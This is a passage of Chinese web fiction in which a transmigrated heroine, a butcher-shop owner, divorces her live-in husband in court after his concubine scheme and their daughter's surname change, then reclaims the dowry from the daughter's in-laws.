“哦?这话怎么说?”冷小幸奇道。
43.代夫纳妾求子的商户女11
“我也说不好。”张阿蛮系统迟疑道:“就是感觉若是吕令仪,她一定不会挑唆郭楚生来找你,她会抓住这个千载难逢的机会,认认真真写好礼单。”
冷小幸轻笑道:“你这样说,我对她真是越来越有兴趣了,只可惜我们竟然找不到她。”
按照上一世牙婆带吕令仪回来的时间,冷小幸曾到牙婆那走了一趟。
牙婆确实从外地带回几个女子,张阿蛮系统也认出正是前世的那几名女子,可唯独少了吕令仪。
冷小幸出言试探牙婆,发现牙婆对此也一无所知,且她在将这些女子购买带回期间也没有发生任何异常。
冷小幸曾怀疑过是否因为她的到来造成蝴蝶效应,但因为没有其他佐证,无法证实。
后来,冷小幸也曾托人去吕令仪家乡寻找,同样一无所获,此事便暂且搁置。
取代吕令仪成为郭楚生妾室的柳姨娘,自郭楚生出门去寻冷小幸后,她便留神听主卧的动静。
冷小幸大骂郭楚生,并未压低声音。
柳姨娘听不真切,只能听出他们吵起来。
柳姨娘心中暗笑:“这女屠夫真是愚笨,哪能这样与男人吵?”
眼睛一转,柳姨娘在心里练了好几遍说辞,一心等着郭楚生回来好说与他听,做一朵柔顺的解语花。
不曾想郭楚生出了主卧竟没到她的房中,而是径自去了书房,连第二日早饭也没出现。
高氏见儿子不在,命丫鬟把饭送到书房。
丫鬟觑着冷小幸神色,坐着没动。
高氏见状竖起两根眉毛,张嘴骂了一句:“死丫头......”
后面的话还没说出口,冷小幸已出言呛声道:“她是我张家的丫鬟,你个姓高的有什么资格指使她,闭嘴。”
“你,你,”高氏瞪着眼睛,手指哆哆嗦嗦指着冷小幸道:“你敢这么跟我说话,我是你婆婆,反了天了,你等着,我看楚生怎么收拾你。”
“呵,”冷小幸拿着筷子夹菜,冷笑道:“你的指头要是不想要,我可以帮你剁下来,看看你那做了赘婿的好儿子敢不敢为你出头,母子俩在我家白吃白喝这么多年,还敢在我面前充正经婆婆,真不要脸。”
高氏被冷小幸这血淋淋的威胁和直白的嫌弃吓白了脸,收回手藏到袖子里。
冷小幸哼了一声对厨娘道:“以后不要做他们娘俩的饭。”
“是,”厨娘看都没看高氏,立刻应下。
高氏有心叫骂,到底不敢,她察觉到儿媳变了,不再像以前一样对她毕恭毕敬,百般讨好。
柳姨娘和她的丫鬟见状,大气不敢出埋头吃饭,连菜都不敢夹。
等旁人都下去干活,柳姨娘到冷小幸跟前,小心翼翼道:“夫人,昨夜老爷进来,见我在写礼单,怕是误会了,还没等我解释,就去找夫人了。夫人,千错万错都是我的错,您可千万别因为这事跟老爷生分呀。”
“你刚才吃饱了吗?”冷小幸听了这茶言茶语,斜着眼睛问道。
柳姨娘心下一颤,以为冷小幸也要不给她饭吃,她下意识抚住小腹,心想:“不会的,老爷虽是赘婿,到底是顶天立地的男人,这个女屠夫也只敢趁他不在耍威风罢了,说不准不叫厨娘备饭,是想她自个做饭讨好老爷。”
冷小幸见柳姨娘神色,猜到她心中所想,冷冷撂下一句:“蠢货,吃谁的饭,端谁的碗,服谁的管。”说罢,抬腿走了。
柳姨娘听了脑袋嗡的一声,等冷小幸走远,才反应过来抓着小丫鬟问道:“她刚才说什么?”
小丫鬟低头不敢答。
柳姨娘攥紧帕子恨声道:“她竟敢骂我是蠢货,走,我们去找老爷评理。”
郭楚生见柳姨娘进门,脸便沉了下来。
柳姨娘察言观色,忙将委屈咽了下去,连高氏受辱都只字未提,只柔声道:“妾身见老爷不曾用早膳,过来问问您想吃点什么,妾身去做。”
郭楚生这才脸色缓和些硬邦邦道:“不必了。”
“可是妾身有做的不对的地方,还请老爷责罚。”柳姨娘嘴角含泪怯生生道,边说边福身行礼。
“唉,”郭楚生叹了口气,将柳姨娘扶起道:“不干你的事,我不饿。”
柳姨娘破泪为笑,柔若无骨倒在郭楚生怀里。
两人温存片刻,柳姨娘红着脸小声道:“那妾身先回房了,就不在这打扰老爷温书。”
郭楚生送柳姨娘出门,见到守在门外的小丫鬟,便指着小丫鬟对柳姨娘道:“你回去把昨日从夫人那领的笔墨纸砚,官员名单,还有你写好的礼单,叫这丫头给我送来。”
“老爷,”柳姨娘有心想问,话一出口,就见郭楚生的脸又黑了下来。
她立刻敛声道:“是,我这就回去收拾。”
回房收拾好,柳姨娘实在猜不出郭楚生变色的缘由,她不敢过去怕再触到郭楚生的霉头,就让小丫鬟送去。
柳姨娘坐在房中,只觉从昨夜开始事事不对,完全脱离她的预料。
冷小幸骂她那句蠢货,则在她心里扎了一刀又一刀。
申时,张亚男按前几日约定来探望柳姨娘。
在门外就听柳姨娘与小丫鬟低声说话,主仆说的入神,连张亚男进门都没察觉。
“说什么呢?这么投入。”张亚男好奇道。
小丫鬟闻声回头欢喜到:“是姑奶奶来了,您坐,我去给您拿新茶。”
张亚男坐到床边,又问:“刚你们俩又编排谁呢?”
“哪有,”柳姨娘不肯说。
张亚男凑近道:“说嘛,说嘛。”
两人正纠缠着,小丫鬟推门端着托盘推门进来。
柳姨娘便指着小丫鬟道:“你问她,也不知道从哪听来的新闻,还没跟我说完呢,你就来了。”
张亚男从小丫鬟放下的托盘里抓了一把瓜子,塞到小丫鬟手里,催道:“快说,快说。”
原来是建宁府有个读书人,生父早逝,母亲带他改嫁后,叫他随了继父姓氏,前几年中了进士,今年升官回乡祭祖,又改回生父姓氏。
“真的?还有这种事。”张亚男问道。
小丫鬟眉飞色舞道:“真的呀,我怎么敢骗姑奶奶呢,我有个同乡就是建宁府的人,这事可轰动了。”
张亚男磕着瓜子,兴致勃勃追问:“那大家都怎么说?”
“都夸他呀,夸他不忘自个打哪来,心里头揣着根。”
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小丫鬟理所当然道。
张亚男闻言一愣。
柳姨娘见张亚男有所异动,怕犹过不及,对小丫鬟笑骂道:“好了,好了,这么点事嚼了半天舌根,也不怕打嘴。”
接着,三人说些胭脂水粉,绸缎布料之类也就散了。
张亚男出张家大门,正好碰上冷小幸从外面回来。
她有心装作没看见,却没地躲。
买肉的人还排着队,张亚男只好硬着头皮迎上来道:“娘您回来了。”
冷小幸理都没理,进门去了。
张亚男被晾在一旁,脸一阵红一阵白,咬牙跺脚走了。
屋里,小丫鬟忐忑不安对柳姨娘悄声道:“姨娘,这能行吗?将来你肚子里的孩子生下来也要姓张的。要是让夫人和老爷知道我们撺掇姑奶奶改姓,那可怎么办呀?”
柳姨娘从托盘里捡了一块点心,一边吃一边道:“你怕什么?大姑娘傻得很,才不会把我们说出去呢。再说了我们不过是说了几句市井传闻,还能因为这个给我们定罪不成?没事的,别担心。”
第二天一早,傻得很的张亚男就到户房,要求改姓。
户房值班的,恰巧是那日给冷小幸查询桂花巷房子主人是谁的李文书。
他一听便道:“哎呦,这事你自个来可不算,你父亲是赘婿,你又已出嫁是韩家妇。你要改生父姓氏,须得你母亲和韩家都同意才行。”
张亚男挑眉道:“我自个的姓我还不能改了?不成,你今天必须得给我改,改也得改,不改也得改,多少钱我付。”
说着,啪一声把一块碎银子拍在案上。
李文书皱着脸道:“那你坐一会,我去请示上面。”
出门,李文书便找了个小役,对他道:“快,去城东那家张记腊肉铺,找她家张掌柜,跟她说她家女儿要改姓,叫她赶紧来。”
小役倒也知道张家腊肉铺,赶忙去了。
冷小幸刚好在家与张铁妞商议,想在同街找个合适的院子买下来,扩大制作场地。
听了小役这话,张铁妞担忧道:“表姑,我陪你去。”
冷小幸摇头道:“不用。”
她从荷包摸出一吊钱和几个铜板递给小役道:“辛苦小哥跑一趟,这几个铜板请小哥喝茶,别嫌弃。这吊钱烦你给李文书,就说我谢谢他的好意。不过,女大不由娘,她愿意改,就让她改吧,我没意见。”
小役听了这话,见冷小幸不是在恼怒说反话,答应一声,拿钱回去找李文书。
李文书先让小役去抓紧时间告诉冷小幸,就是怕事情闹大叫韩家知道,让韩家人觉得张亚男不懂事,以后她在韩家难做。
也是想着,张亚男突然过来里面怕是有什么误会,让冷小幸过来压制张亚男别犯蠢。
这会听小役传话,李文书手里握着那串钱,明白了冷小幸的意思。
他对小役道:“那你再去趟韩家,就说他家三少奶奶要在户房改个文书,问问他家同不同意。”
“这样成吗?”小役心中明白这不符规矩,不免迟疑道。
李文书怫然道:“叫你去就去,哪那么多废话。”
“哎,”小役不敢再多嘴,忙去韩家问话。
44.代夫纳妾求子的商户女12
听到小役传话的是韩夫人,她不想打扰儿子读书,又觉得应当是张亚男嫁妆铺面有什么需要改,她可不想让别人觉得他们家图谋儿媳的嫁妆,便道:“辛苦小哥,儿媳的事,我们韩家不插手,随她心意便是。”
说完,叫丫鬟给小役打赏,命人把小役好生送出门。
得到回话的李文书迅速给张亚男改姓为郭亚男。
捧着改好的文书,郭亚男有有种不真实感,站在原地不动。
李文书道:“韩三少奶奶,你要没别的事就请回吧,我这还有其他公务要处理。”
郭亚男回过神,将文书折起放在怀中,深一脚浅一脚出了官府大门。
一时间只见天地之大,不知该何去何从。
一阵寒风袭来,郭亚男回神拢了拢身上的衣裳,抬脚往张家去了。
这次她没去见柳氏,而是去书房,见到正在抓紧时间写礼单的郭楚生。
“爹。”郭亚男突然有些心虚,从怀中掏出文书递到郭楚生眼前道:“您看看。”
郭楚生见郭亚男神色有异,放下笔,接过文书展开一看,脸色大变道:“这是哪来的?谁允许你改的?”
“爹,我跟你姓,这难道不好吗?”郭亚男后退半步道。
郭楚生挥舞着文书道:“胡闹,这岂是能随便更改的?你快去改回来。”
郭亚男听郭楚生这样说,委屈道:“难道爹爹不愿意我随你姓?难道我不是爹的女儿吗?”
郭楚生气急,他有心跟张亚男讲道理,又不愿在女儿面前强调自己赘婿的身份。
父女俩正僵持着,听说张亚男回家的冷小幸不请自来,推门道:“你们父女吵什么呢?”
郭楚生见冷小幸,条件反射将文书往身后藏。
冷小幸眼疾手快,疾步上前抢过文书。
她皱着眉头看完,死死盯着郭楚生道:“你们父女好是算计。”
“不是的,娘子,你听我解释。”郭楚生慌了,上前伸手想抓冷小幸衣袖。
“有什么可解释的?”冷小幸微微侧身避过郭楚生的手,扬着文书道:“姓郭的,我给你脸了是不是?你竟敢一而再再而三的得寸进尺,你等着。”
说罢,利落转身。
冷小幸一面喊张铁妞去叫张家族长去官府,一面叫伙计们关门,今日不做生意,告诉他们收拾停当后与厨娘、丫鬟一起去官府。
她则匆忙往外走。
郭楚生追不上她,眼见冷小幸出门,回首指着跟在身后的郭亚男鼻子大骂道:“你这个孽障!”
而后郭楚生向官府跑去,等他上气不接下气赶到县衙,却不见冷小幸人影。
此城以安太河为界,南北分治,各设县衙。
张家隶属闵县县衙,正是郭楚生所在之地。
郭楚生等了片刻,仍不见冷小幸踪影,心道:“难不成她去了侯县县衙?”
郭亚男在旁怯生生道:“爹,现在怎么办?”
“走,”郭楚生又带着郭亚男赶往侯县县衙,却不知此刻冷小幸正在离他们不远处斜对面,一家挂着“林记代写状词”木牌的铺子里。
冷小幸将婚书、一本郭楚生写完的账册、纳妾文书、郭亚男改姓文书,一并交给铺子里的林讼师,请他代笔休夫诉状。
婚书、账册、纳妾文书是冷小幸提前准备好的,原打算把买院子的正事忙完,再收拾郭楚生,不曾想郭亚男这个蠢东西竟突然擅自改姓,这样的机会不用白不用。
林讼师核对过婚书条款、字迹印章,听清冷小幸诉求后,当下表示愿意接下这单生意。
冷小幸放下铜板道:“有劳讼师。”
“张掌柜给多了,”林讼师看了眼一字排开的铜钱,拿起几个递于冷小幸道:“我这明码标价,不能多收。”
冷小幸不接,她嘴角含笑道:“没多给,我现在就要,多的是加急的钱,讼师收着便是。”
林讼师听了,便笑着手下,摊开纸张,落笔写诉状。
片刻后,他拿起两份诉状道:“请张掌柜过目。”
冷小幸拿过诉状,从头到尾看了一遍,满意道:“多谢林讼师。”
她离了讼师铺子,张家族长、张厚山、铺子离的伙计等也都到齐了,正在县衙外等着,旁边还有些看热闹的街坊。
冷小幸与众人打了个招呼,便上县衙正门递交第一份状纸,请典吏通传。
一盏茶后,县太爷在府衙正堂受理此案。
冷小幸递交证据,表明要休夫的诉求后,县太爷派人找来郭楚生、郭亚男、高氏。
这期间,有不少百姓聚在府衙正堂外,准备看热闹。
时下,官府并不禁止百姓围观审案,这也是监督官员是否徇私的手段之一。
人到齐后,冷小幸率先指出婚书白纸黑字写明:“郭楚生不得纳妾,二人生的孩子要随张阿蛮姓张,郭楚生不得插手铺子生意。”
此三件,郭楚生俱已毁约,符合休夫之条。
郭楚生拱手道:“大人容禀,给铺子做账是我娘子让的,纳妾柳氏也是我家娘子允许,张氏宗族认可。至于小女今日改姓,我事前并不知晓,知道后立即叫小女去改回,请大人明鉴。”
高氏闻言推了一把郭亚男。
郭亚男心知闯了大祸,躬身道:“大人,改姓是小女子一人所为,与我爹爹无关,请大人明察。”
“大人,改姓文书是我不久前从郭楚生手中拿到,我家中丫鬟,厨娘皆亲眼所见,若说此等大事是郭亚男一人所为,民妇不敢苟同。”冷小幸亦道。
县太爷传厨娘、丫鬟问话。
厨娘丫鬟虽有些哆嗦,但话还说得清。
二人皆道,她们在厨房忙活,先是看到郭亚男匆忙到书房,因关着门,也听不见、看不到他们父女在做什么。
不久冷小幸也到了书房,门开着,这次她们看到冷小幸从郭楚生身后将他藏着的文书抢到手,而后伤心生气与郭楚生争执了几句,便向外走,交代她们与伙计关铺子,到官府来。
县太爷颔首,又问了铺子里的其他人账册是否是郭楚生所写?纳妾是否属实。
得到肯定回答后,基本可以认定郭楚生毁约在先,允许冷小幸休夫,并向郭楚生索赔。
高氏见事态不妙,立刻对县太爷哭诉道:“大人,我儿入赘张家几十年,没有功劳也有苦劳,还,还生个女儿,给张
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家续了香火,如今说休就休,还要倒找钱给他们,天下哪有这样的道理!”
她转头对着冷小幸破口大骂:“当年若不是我儿肯入赘,你张家早断了根。如今你靠做腊肉富了,就想把我儿赶出去,账册,纳妾分明都是你引着我儿做的。”
郭亚男不想父母分离,她红着眼眶跪在地,对着县太爷道:“大人,改姓真的是民女猪油蒙了心,不干我爹的事,我爹爹是个好人,我娘她是一时气急才要跟我爹分开的,您可千万不能这么判啊。”
“娘,您别闹了成吗?我爹再不好,也是我的生父,您休了他,我在夫家如何抬得起头?”张亚男又对着冷小幸哭求。
高氏也软下身段对冷小幸道:“就是!阿蛮,不看僧面看佛,你看在亚男的份上,不要再闹了,难得你忍心看她被别人戳脊梁骨,说她娘家不睦,父母对薄公堂遭人耻笑吗?”
“我就是因为亚男才不得不如此。”冷小幸闭眼,似不忍再看郭亚男,悲声道。
郭亚男失声喊道:“娘,您到底要做什么呀,您不满我改姓,我改回来,不就行了,为什么非要闹到这么大,让外人看笑话。”
冷小幸睁眼,神情悲愤道:“大人,诸位乡亲,我原本是不想说的,但事到如今我不得不说。”
“娘,”郭亚男虽不知冷小幸要说什么,却本能感到恐惧。
方才装哑巴,任由高氏、郭亚男冲锋陷阵的郭楚生也感到不安,开口道:“娘子。”
冷小幸充耳不闻,又拿出一份文书道:“这是柳氏做郭楚生外室时所住房子的房契,大人请看上面竟是我闺女的名字。”
“民妇只有一女,她出嫁我尽心尽力准备了二十八抬嫁妆,可不曾想他们父女竟瞒着我,用我给的嫁妆钱置了外室,外室有孕,我不忍郭楚生骨肉流落在外,才点头许柳氏进门做妾。”冷小幸越说越悲凉:“可是,他们又联合起来,连我女儿的姓也改了,我若再不休夫,怎么对不起我爹的在天之灵、张家的列祖列宗?”
旁观的百姓纷纷出言道:“这也太不要脸了。”
“还有这样做赘婿的?”
“啧啧啧,用自个女儿嫁妆养外室,亏他还是个举人。”
“哎呦,说来张家嫁女,给了那么多的嫁妆,一个屠夫家的女儿都跟赶上大户人家。那会大家都看着呢,当时谁不说张掌柜大手笔,疼闺女。”
“嘻嘻,估计就是给太多了,没地花,才要给赘婿爹买外室呢。”
“她怎么这么傻?要是我闺女,还不如生下来就掐死。”
“就是,她还敢说她娘,真是没心肝的白眼狼。”
“什么闺女,不是已经改姓了吗?那个老太婆刚还舔着脸说给张家留后了呢。”
“真是癞蛤蟆生蝎子——一窝更比一窝毒。”
百姓们,你一言,我一语,刺得高氏、郭楚生、郭亚男遍体鳞伤。
“大人,”冷小幸带着哭腔道:“自郭楚生入赘,民妇并非将他当做赘婿使唤过,他与高氏衣来伸手饭来张口,靠着我张家享清福,他给铺子做账也是我家做腊肉生意红火之后,算算时间,正是他在置外室之时。大人若不信民妇所言,尽可询问他人。”
45.代夫纳妾求子的商户女13
县太爷先问张家伙计等人,待他们证实冷小幸所言后,高氏嘴硬道:“这些人都在张家讨生活,说得话岂能算数。”
围观百姓闻言,有人喊道:“大人,小人能作证,我是张家邻居。”
“大人,我也能作证,我之前跟这老太婆住前后街。”
百姓自愿作证,县太爷自无不许。
冷小幸穿来时间尚短,张阿蛮却与郭楚生做了几十年夫妻,她原本那般贤良淑德,事事恭顺,街坊邻居哪里会看不到?
且她平日与邻里关系和睦,这会儿大家自然实话实说。
何况人心都是肉长的,此次郭楚生祖孙三人做的太过,街坊邻里作证言语间难免偏向张家。
再比对郭楚生接手账本的日子,和郭亚男为他购置外室的时间,两者相差不远。
很容易让人推论出,是他们父女先有了停妻再娶的心思,郭楚生才做了账房,最后郭亚男买了桂花巷的房子和柳氏,给她赘婿爹置外室。
这与事实稍有出入,但也算大差不差。
县太爷厉声责问郭楚生祖孙三人道:“你们还有什么可说的?”
郭楚生浑身颤抖,高氏脸色煞白,他们母子皆辩无可辩。
即便再说也只能在郭楚生先做了账房,后有了外室这一点上辩驳,但这等细枝末节并不能改变他违背婚书契约的事实,也不能起到什么决定性的作用,多说无益,反而让人觉得他在胡搅蛮缠、强词夺理,有失身份。
郭亚男还想求情,张家族长已对县太爷拱手道:“大人,郭楚生违背入赘契约,纳妾、插手铺子生意、其女改姓,这三件事证据确凿。其母颠倒黑白,其女是非不分,求大人依律判休,许我张家追缴损失。”
“郭楚生违约入赘契约,本应行笞杖,因其有举人功名在身,免其刑。高氏扰乱公堂,本应治罪,念其年老,不予追究下不为例。”县太爷拍惊堂木厉声道。
接着,县太爷宣布结果:“依律判准张氏休夫,郭楚生及其母、妾室立即搬出张家,限三日内赔偿张家这些年供养他们的钱财,若是实在无力偿还,则留下欠条写明还款日期。张家索要数目需官府过目方可生效。”
高氏与柳氏瘫坐在地,郭楚生僵在原地。
郭亚男扭头看着冷小幸冷漠的侧脸,心中满是难堪不忿。
她咬唇上前扶起高氏道:“奶奶别担心,钱我来赔,以后我养你们。”
高氏拍拍郭亚男的手,老泪纵横,侧头狠狠瞪了眼冷小幸,对郭亚男念叨着:“还是你贴心懂事。”
众人见事已了结,堂外看热闹的百姓心满意足,交头接耳开始退散去。县太爷等官吏也打算退堂。
冷小幸却又掏出一份诉状道:“大人且慢,民妇还有一事,望大人判决。”
堂外的百姓闻声驻足,探头看去。
县太爷也是一愣,随即道:“呈上来。”
衙役接过状纸,奉与县太爷。
冷小幸指着郭亚男一脸怨恨道:“此女已改姓为郭,且民妇已休夫,与她再无母女情谊。当日我为她置办嫁妆,是为张氏女所置。如今,她既为郭氏女,自当返还嫁妆,望大人裁定。”
说着,冷小幸奉上嫁妆单子。
她这番话说的掷地有声,也震得众人目瞪口呆。
一时间无人出言。
停滞几瞬,郭亚男才手指一缩掐着高氏的胳膊,失声道:“娘!您说什么?您不要我了?”
冷小幸看也不看她。
郭亚男松开高氏,向冷小幸扑去,被差役拦下。
她不管不顾,又哭又叫:“娘,您怎么能这么狠心呢!娘,娘,娘。”
在郭亚男一声一声哀嚎中,冷小幸转身向她走去。
郭亚男双眼迸发出希冀的光芒,喃喃道:“娘,娘。”
却见冷小幸从袖中取出一块帕子,毫不犹豫塞进郭亚男嘴里,她道:“郭小姐,这是你最后一次这样叫我,以后莫要再乱攀亲戚。”
郭亚男想不到冷小幸竟这般决绝,她拼命挣扎,眼泪鼻涕直流,堵上的嘴发出:“呜、呜、呜。”
坐着的县太爷看到这一幕,心下暗叹,问冷小幸道:“你想清楚了?”
“回大人的话,民妇想清楚了。”冷小幸一字一句说得分明:“郭亚男出嫁一年有余,嫁妆她动用了不少。她已用过的那些,民妇不再追缴。但剩下的,需全部拿回来。”
县太爷低头翻看嫁妆单子不语。
张厚山挪到冷小幸身旁,悄声劝道:“阿蛮。”
“叔父,我心意已决,不必再说。”冷小幸低声道。
“唉,”张厚山摇头退回原地。
堂外百姓们七嘴八舌道:“张掌柜这是被伤透了心呀。”
“可这样不就跟韩家对上了?姻亲再也做不成了,可别到最后成仇人了。”
“是呀,是呀,亚男糊涂呀,哪有瞒着亲娘,给赘婿爹娶外室的女儿呀?”
“你刚没听见,她到现在还不向着亲娘,要用自个嫁妆养赘婿爹和小妾呢,怪不得能改姓,真是忘本啊。”
“估摸着张掌柜就是想到这,才要拿回嫁妆呢,不然这会休了夫,转头亲女儿又拿她好不容易攒了几十年的嫁妆养别人,呕也要呕死了。”
在围观百姓压低声音的讨论中,县太爷做出判决,允许冷小幸讨要郭亚男嫁妆,当场签发判决文书。
冷小幸谢过县太爷,收好两份判决文书,带着张家人走了。
一出官府大门,冷小幸先谢过张家族长,又道:“我此刻就要去韩府索要嫁妆,需要几个后生抬东西,还得麻烦族长给我几个人。”
“好说,”张家族长满口应下,让送他来几个后生随冷小幸一同去。
张厚山、伙计等人也跟着一起。
冷小幸让一名伙计回去把张家大门锁上,又低声吩咐了些别的。
伙计连连点头,先行离开。
冷小幸才带着其他人往韩家去。
途中,她对张铁妞道:“一会我与韩夫人说话。你去清查嫁妆。对上韩家那些管事,不必畏手畏脚。”
“是,表姑,我知道了,您放心吧。”张铁妞脆生生应下。
张厚山见到这一幕,对冷小幸真诚道:“你把铁妞教的真好,叔父得好好感谢你才是。”
“叔父快别这么说,您帮了我不少,”冷小幸笑道:“再说,是铁妞这孩子自己懂事,我可没教什么。
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”
几人说着话,不久到了韩家门外,门房见到冷小幸带了这么多人来,瞧着各个面色不善,连忙报给韩夫人。
韩夫人有些纳闷,吩咐道:“快请进来。”
进了正院,韩夫人亲自迎上前,笑吟吟道:“今什么风把亲家吹来了?”
冷小幸随韩夫人进正堂,坐下寒暄几句,丫鬟们奉上茶果后,她便起身将县太爷的判决书递于韩夫人,说道:“请夫人先看看这个,以后夫人叫我张掌柜便可。”
韩夫人不明所以,接过文书,一目十行看完脸色大变道:“亲家,这,这是怎么回事?亚男还小,若是有什么不对的地方,我们做长辈的慢慢教,可不能就这么断绝关系啊。”
“夫人,我张家虽无缘与韩家再做亲家,但情谊是不变的。”冷小幸不接话茬,直道:“今日我带他们取郭亚男的嫁妆,还望夫人行个方便。”
说着,又往韩夫人手中放了一锭银子道:“多有叨扰,夫人勿怪。”
韩夫人一手拿着银子,一手拿着文书,慌乱起身道:“哎呀,亲家,使不得。”
说着,把银子往冷小幸手里塞。
“夫人,并非我绝情,”冷小幸掉泪涩声道:“实在是这孩子太让人伤心了。我已决意跟她恩断义绝,两不相欠,万望夫人成全。”
韩夫人脑袋嗡嗡的,儿媳妇出门一趟,姓改了,还跟娘家断亲了,还得把嫁妆退回去。
“亲家,这么大的事,咱们妇道人家说了不算,”韩夫人舌根发苦道:“这样,等我家老爷回来与郭举人商议过后,再说吧。”
“呵,”冷小幸轻笑道:“不瞒夫人,我方才已在官府休弃郭楚生,他可管不着这事。”
“这怎么可能?亲家在说笑吧,这话可不能乱说。”韩夫人更懵了。
冷小幸理直气壮道:“怎么不可能,他可是赘婿。”
韩夫人当然知道赘婿可以被休,但几乎没有女人会做出休夫之举。
还没等韩夫人想明白,冷小幸接着道:“夫人所言倒是奇怪,我拿着官府判决书而来,取走嫁妆便是,并不需要夫人做什么主。难不成夫人是觉得这判决书是假的?”
“不不不,亲家,你误会了,误会了。”韩夫人忙道。
冷小幸看着韩夫人的神色道:“哦,许是我想差了,韩家是书香门第,重体面讲规矩,不能不告诉韩老爷让我就随意拿走。这样吧,判决书夫人命人抄写一份,嫁妆单子韩家本有存档。白纸黑字,都能对得清。想来那丫头才嫁进韩家一年,不会把我给她一生取用的嫁妆挥霍完。”
“亲家,你听我说。”韩夫人听了冷小幸别有所指的一段话,有心解释。
冷小幸已道:“夫人,我小门小户,贸然登门有失礼数,我这就回去,还请夫人待韩老爷告知他此事。明日我再来取嫁妆。”
“亲家,”韩夫人还要再说。
冷小幸不给她机会,快言快语笑道:“夫人,我言尽于此。明日要么我来取,要么韩家给我送过来,告辞。”
说完,拔腿就走。
韩夫人愣是没拦住,气得拿起茶碗摔在地上,恨声道:“一个屠夫竟敢威胁我,来人,快去把三少奶奶给我找回来。”
46.代夫纳妾求子的商户女14
家仆答应一声,忙向外面去了。
“你去打听打听张家到底出了什么事?”韩夫人又指了一个家仆道。
已出来韩家的冷小幸不知韩夫人被她气得发疯,她看看对其他人道:“今天是个好日子,我请大家去三熟酒楼吃顿便饭,好好庆祝庆祝。”
三熟酒楼离张家肉铺不远,是寻常百姓平日也能消费得起的地方。
即便如此,张厚山仍连连推辞道:“不要,不要,花那个冤枉钱干嘛,你实在要请。我们去你家,一起搭把手做一顿就是。”
后生们纷纷应和。
“你们来一趟,怎么还能让你们自己动手做饭。再说,我已经让伙计先去订位置了。要是不去,岂不是放酒楼掌柜鸽子?邻里街坊,抬头不见低头见的,我以后怎么见他呀?”冷小幸说着使眼色给张铁妞等人。
厨娘、伙计等拉住众人劝道:“走吧,走吧,我们掌柜的请客,大家伙给个面子,今咱们好好吃一顿。”
连推带搡,说说笑笑一行人到了三福酒楼,也不要雅间包房,就在大堂占了几张桌子。
冷小幸点了些量大实惠管饱的家常菜。
大家吃饱喝足,住的又近,便先送冷小幸回家。
走进巷子,远远看见张家门口附近三五成群聚了些人,指指点点的样子。
冷小幸等人快步走近,原来是郭楚生与高氏等在张家门口。
郭楚生面向大门,脊背挺得笔直。
高氏则佝偻着身子,背对大门,向巷口张望。
她见冷小幸回来,忙迎上去道:“阿蛮,你终于回来了。”
“你们在这做什么?”冷小幸凝眉道:“哦,是来接柳姨娘的吧?虽然她的卖身契签给张家,但她肚子里怀的是你郭家的骨肉。你们惦记也是应该的。你们把她们主仆的卖身钱给我吧,我就进门把她们主仆连卖身契送出来。”
高氏满嘴苦涩,扑上去抓冷小幸的胳膊,被冷小幸轻轻避过。
“阿蛮,”高氏讪讪收手道:“俗话说一夜夫妻百日恩。你与楚生有什么误会,解开就好。何必说这样生分的话?”
冷小幸尚未开口,一旁的张铁妞抢先开口道:“你老糊涂了不成?刚刚在府衙,表姑已与郭举人解除婚约了,哪来的误会?县太爷亲口说的,叫你们今天就搬出去。”
“我与阿蛮说话,跟你这小丫头有什么关系?”高氏碎道:“果然是有人生没人养的东西!”
“你。”张铁妞脸都气红了。
张厚山上前将张铁妞护在身后,手指着郭楚生道:“我家的孙女,有人生也有人养,可比你们家那个狼心狗肺的东西强多了。”
因张厚山这一语,一旁看笑话的百姓愈发大声嘲笑高氏母子。
高氏脸上挂不住,又对冷小幸小声道:“阿蛮,我们现在哪有钱啊,天色已晚不如先让我们先进去吧。”
“你们没钱啊。”冷小幸超大声道:“那我大人有大量,先把柳姨娘给你们,等赔偿金付完,再把卖身契给你们。”
“阿蛮,即便你与楚生已无夫妻情谊,”高氏急得恨不得堵住冷小幸的嘴:“可他毕竟在张家住了这么多年,有他不少东西呢。还有我,也搬来一段时间了,也置了不少东西。我们总得收拾好才能搬走,你说是不是?”
高氏心想:“先说几句软话,哄张家让他们母子进门,关上门,再怎么求张阿蛮都好,总比站在这里叫人耻笑的强。”
“东西?”冷小幸嘲讽道:“原来你也知道自你来,我置了不少东西给你。更别提郭楚生入赘这几十年,给他买了无数东西。可你们别忘了,那用的都是我张家的钱,跟你们郭家没有一丝一毫的关系。”
“你们一个子儿、一根线、一张纸,都别想带走。”冷小幸厉声道。
郭楚生再也忍不住,回首道:“别的你说是你买的,便算是你买的。可我做的那些习作,都是我的心血,必须让我带走。”
“对呀阿蛮,楚生还要科举呢,将来高中,他不会忘了你的。”高氏帮腔道。
“呵呵,”冷小幸冷笑道:“考了十几年,也没考中。这样的大话不必我面前说了。什么算我买的?不是我买的,难道是郭楚生找别的女人卖屁股换来的?”
郭楚生涨红一张脸,指着冷小幸哆哆嗦嗦道:“你,你竟然说污言秽语污蔑我,我,我,我好歹也是个举人。”
“你什么你,”冷小幸上前一巴掌打落郭楚生的手,挖苦道:“郭楚生,你那些习作的笔墨纸砚是哪来的?还不是花的我张家的钱?你还有脸在这大放厥词。说你卖屁股,怎么冤枉你了?要不是你卖屁股给我,我能花那么多冤枉钱供你这个考不上的蠢货!”
“你,你,你寡廉鲜耻!”郭楚生捂住胸口,身形摇摇欲坠。
“哼!”冷小幸冷哼道:“我再怎么样也比你郭楚生要脸。你到外头打听打听,哪家赘婿会用自己亲女儿的嫁妆给自己买外室?你无耻,下流,不是东西,呸。”
冷小幸一口吐沫,正吐在郭楚生面颊。
这话戳中郭楚生的死穴,哪怕他利用做张家肉铺账房的机会,偷张家的钱娶外室,都比用郭亚男的嫁妆钱要强得多。
这年头,女人出嫁,夫家动她的嫁妆,那是要被戳脊梁骨的。
何况还是娘家的赘婿挪用,用来做正事也就罢了,竟是给自己娶二房,实在滑天下之大稽。
郭楚生连脸都顾不上擦,眼看着气都喘不匀,一副要昏倒的摸样。
高氏赶忙扶住,带着哭腔道:“阿蛮,你少说两句吧。”
“怎么着?他做的出,我说不得?”冷小幸不依不饶道:“我还没被气死,他到要先倒了,别是想装晕讹钱吧,果然个的下贱的伪君子。”
“诸位乡亲父老,大家可都看着呢,”冷小幸冲着围观百姓道:“要是到时候这下作东西讹我,大家可要为我做个见证啊。”
“张掌柜你就放心吧,我们都亲眼瞧着呢。”立刻有看热闹不嫌事大的百姓应和道。
冷小幸扭头冲郭楚生温婉一笑,用最甜美的声音吐出最恶毒的话语:“晕吧,你放心你只要一倒下。我就敲锣打鼓传遍街头巷尾,让你郭大举人好好出一会风头。”
这下,郭楚生不敢晕了。
高氏
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也说不出话来。
